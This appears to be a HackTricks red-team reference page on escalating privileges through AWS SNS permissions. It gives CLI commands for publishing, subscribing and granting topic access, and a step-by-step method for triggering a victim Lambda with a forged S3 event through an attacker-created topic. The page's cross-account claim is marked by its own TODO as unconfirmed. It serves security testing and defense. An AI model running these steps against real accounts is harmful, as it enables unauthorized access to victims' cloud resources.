AWS - SNS Privesc

Reading time: 4 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SNS

For more information check:

AWS - SNS Enum

sns:Publish

An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.

bash
aws sns publish --topic-arn <value> --message <value>

Potential Impact: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.

sns:Subscribe

An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.

bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Potential Impact: Unauthorized access to messages (sensitive info), service disruption for applications relying on the affected topic.

sns:AddPermission

An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions.

bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Potential Impact: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.

Invoke a Lambda by abusing wildcard SNS permission (no SourceArn)

If a Lambda function resource-based policy allows sns.amazonaws.com to invoke it without restricting the source topic (SourceArn), any SNS topic (even in another account) can subscribe and trigger the function. An attacker with basic SNS permissions can coerce the Lambda to execute under its IAM role with attacker-controlled input.

tip

TODO: Can this really be done cross-account?

Preconditions

  • Victim Lambda policy contains a statement like below, with NO SourceArn condition:
json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {"Service": "sns.amazonaws.com"},
      "Action": "lambda:InvokeFunction"
      // No Condition/SourceArn restriction here
    }
  ]
}

Abuse steps (same or cross-account)

bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
  --region us-east-1 \
  --topic-arn "$ATTACKER_TOPIC_ARN" \
  --protocol lambda \
  --notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
  --region us-east-1 \
  --topic-arn "$ATTACKER_TOPIC_ARN" \
  --message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Potential Impact: The victim Lambda executes with its IAM role, processing attacker-controlled input. This can be abused to make the function perform sensitive actions (e.g., write to S3, access secrets, modify resources) depending on its permissions.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks